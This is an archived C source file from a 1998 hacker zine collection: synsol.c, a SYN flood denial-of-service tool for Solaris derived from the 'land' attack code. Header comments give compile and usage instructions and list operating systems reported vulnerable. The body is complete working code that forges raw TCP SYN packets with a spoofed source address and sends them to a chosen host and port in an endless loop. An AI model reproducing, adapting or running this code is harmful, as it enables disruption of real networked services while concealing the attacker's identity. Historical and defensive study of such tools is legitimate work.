home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / synsol.c < prev    next >
C/C++ Source or Header  |  1998-12-15  |  7KB  |  195 lines

  1. /* Syn Attack against a port for Solaris                     */
  2. /* Original land attack, land.c by m3lt, FLC                 */
  3. /* Ported to 44BSD by blast and jerm                         */
  4. /* Ported to Solaris by ziro antagonist                      */
  5. /* Referenced flood.c by unknown author                      */
  6. /* Converted into a syn attack against one port by CRG       */
  7. /* Please use this for educational purposes only             */
  8. /* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */
  9. /* Additional notes:                                         */
  10. /* Successfully compiled on Solaris 2.51 and 2.6             */
  11. /* Runs: synsol <dstIP> <dstPort> <spoofedsrcIP>             */
  12. /*                                                           */
  13. /* Tested it on: Solaris 2.6                                 */
  14. /*                                                           */
  15. /* Attacked against:                                         */
  16. /*        Linux 2.0.33    - vulnerable                       */
  17. /*        Linux 2.0.30    - vulnerable                       */
  18. /*        Linux 1.2.13    - vulnerable                       */
  19. /*        Solaris 2.4     - vulnerable                       */
  20. /*        Solaris 2.5.1   - vulnerable                       */
  21. /*        SunOS 4.1.3_U3  - vulnerable                       */
  22. /*        Solaris 2.6     - not vulnerable                   */
  23. /*                                                           */
  24. /* Most of these test machines are not patched because they  */
  25. /* are in test lab. I tested the program against port 23 and */
  26. /* every once in awhile I did get through.                   */
  27. /*                                                           */
  28. /* Direct any comments, questions, improvements to           */
  29. /* packetstorm@genocide2600.com                              */
  30. /* http://www.genocide2600.com/~tattooman/                   */
  31. /* Your emails will be forwarded to the author, who wishes   */
  32. /* to remain known only as CRG (no email addy or URL)        */
  33.  
  34. #include <signal.h>
  35. #include <stdio.h>
  36. #include <stdlib.h>
  37. #include <netdb.h>
  38. #include <sys/socket.h>
  39. #include <sys/types.h>
  40. #include <netinet/in.h>
  41. #include <netinet/in_systm.h>
  42. #include <netinet/ip.h>
  43. #include <netinet/tcp.h>
  44. #include <netinet/ip_icmp.h>
  45. #include <ctype.h>
  46. #include <arpa/inet.h>
  47. #include <unistd.h>
  48. #include <string.h>
  49. #include <errno.h>
  50.  
  51. unsigned long srcport;
  52.  
  53.  
  54. struct pseudohdr
  55. {
  56.         struct in_addr saddr;
  57.         struct in_addr daddr;
  58.         u_char zero;
  59.         u_char protocol;
  60.         u_short length;
  61.         struct tcphdr tcpheader;
  62. };
  63.  
  64. u_short checksum(u_short * data,u_short length)
  65. {
  66.         int nleft = length;
  67.         int sum=0;
  68.         unsigned short *w = data;
  69.         unsigned short value = 0;
  70.  
  71.         while (nleft > 1) {
  72.          sum += *w++;
  73.          nleft -= 2;
  74.         }
  75.  
  76.         if (nleft == 1) {
  77.          *(unsigned char *) (&value) = *(unsigned char *) w;
  78.          sum += value;
  79.         }
  80.         sum = (sum >>16) + (sum & 0xffff);
  81.         sum += (sum >> 16);
  82.         value = ~sum;
  83.         return(value);
  84. }
  85.  
  86.  
  87. int main(int argc,char * * argv)
  88. {
  89.         struct sockaddr_in sin;
  90.         struct sockaddr_in din;
  91.         struct hostent * hoste;
  92.         struct hostent * host1;
  93.         int j,sock,foo, flooddot=1;
  94.         char buffer[40];
  95.         struct ip * ipheader=(struct ip *) buffer;
  96.         struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
  97.         struct pseudohdr pseudoheader;
  98.  
  99.         fprintf(stderr,"Syn attack against one port.(Infinite)\n");
  100.  
  101.         if(argc<4)
  102.         {
  103.          fprintf(stderr,"usage: %s <dstIP> <dstport> <spoofed-srcIP>\n",argv[0]);
  104.              return(-1);
  105.         }
  106.         
  107.         fprintf(stderr,"%s:%s is being syn'd attacked by %s.\n",argv[1],argv[2],argv[3]);
  108.         bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/
  109.         sin.sin_family=AF_INET;
  110.         
  111.         if((host1=gethostbyname(argv[3]))!=NULL)
  112.                 bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
  113.         else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
  114.         {
  115.                 fprintf(stderr,"unknown source host %s\n",argv[3]);
  116.                 return(-1);
  117.         }
  118.         if((hoste=gethostbyname(argv[1]))!=NULL)
  119.                 bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
  120.         else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  121.         {
  122.                 fprintf(stderr,"unknown destination host %s\n",argv[1]);
  123.                 return(-1);
  124.         }
  125.  
  126.         if((sin.sin_port=htons(atoi(argv[2])))==0)
  127.         {
  128.                 fprintf(stderr,"unknown port %s\n",argv[2]);
  129.                 return(-1);
  130.         }
  131.  
  132.  
  133.         if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
  134.         {
  135.                 fprintf(stderr,"couldn't allocate raw socket\n");
  136.                 return(-1);
  137.         }
  138.  
  139.         foo=1;
  140.         if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
  141.         {
  142.                 fprintf(stderr,"couldn't set raw header on socket\n");
  143.                 return(-1);
  144.         }
  145. for(j=1;j>0;j++)
  146.   {
  147.         bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
  148.         
  149.         ipheader->ip_v=4;
  150.         ipheader->ip_tos=0;
  151.         ipheader->ip_hl=sizeof(struct ip)/4;
  152.         ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
  153.         ipheader->ip_id=htons(random());
  154.         ipheader->ip_ttl=30; /*255;*/
  155.         ipheader->ip_p=IPPROTO_TCP;
  156.         ipheader->ip_sum=0;
  157.         ipheader->ip_src=din.sin_addr;
  158.         ipheader->ip_dst=sin.sin_addr;
  159.  
  160.         tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/
  161.         tcpheader->th_dport=sin.sin_port;
  162.         tcpheader->th_seq=htonl(0x28374839);
  163.         tcpheader->th_flags=TH_SYN;
  164.         tcpheader->th_off=sizeof(struct tcphdr)/4;
  165.         tcpheader->th_win=htons(2048);
  166.         tcpheader->th_sum=0;
  167.  
  168.         bzero(&pseudoheader,12+sizeof(struct tcphdr));
  169.         pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
  170.         pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  171.         pseudoheader.protocol=6;
  172.         pseudoheader.length=htons(sizeof(struct tcphdr));
  173.         bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
  174.        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
  175.       
  176.        srcport= (10000.0*random()/(15000+1.0));
  177.        if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
  178.  
  179.         {
  180.                 fprintf(stderr,"couldn't send packet,%d\n",errno);
  181.                 return(-1);
  182.         }
  183.        
  184.         usleep(2);
  185.       
  186.       if (!(flooddot = (flooddot+1)%(1)))
  187.          {fprintf(stdout,".");fflush(stdout);}
  188.  
  189.  
  190.  }  /*The end of the infinite loop*/
  191.         close(sock);
  192.         return(0);
  193. }
  194.  
  195.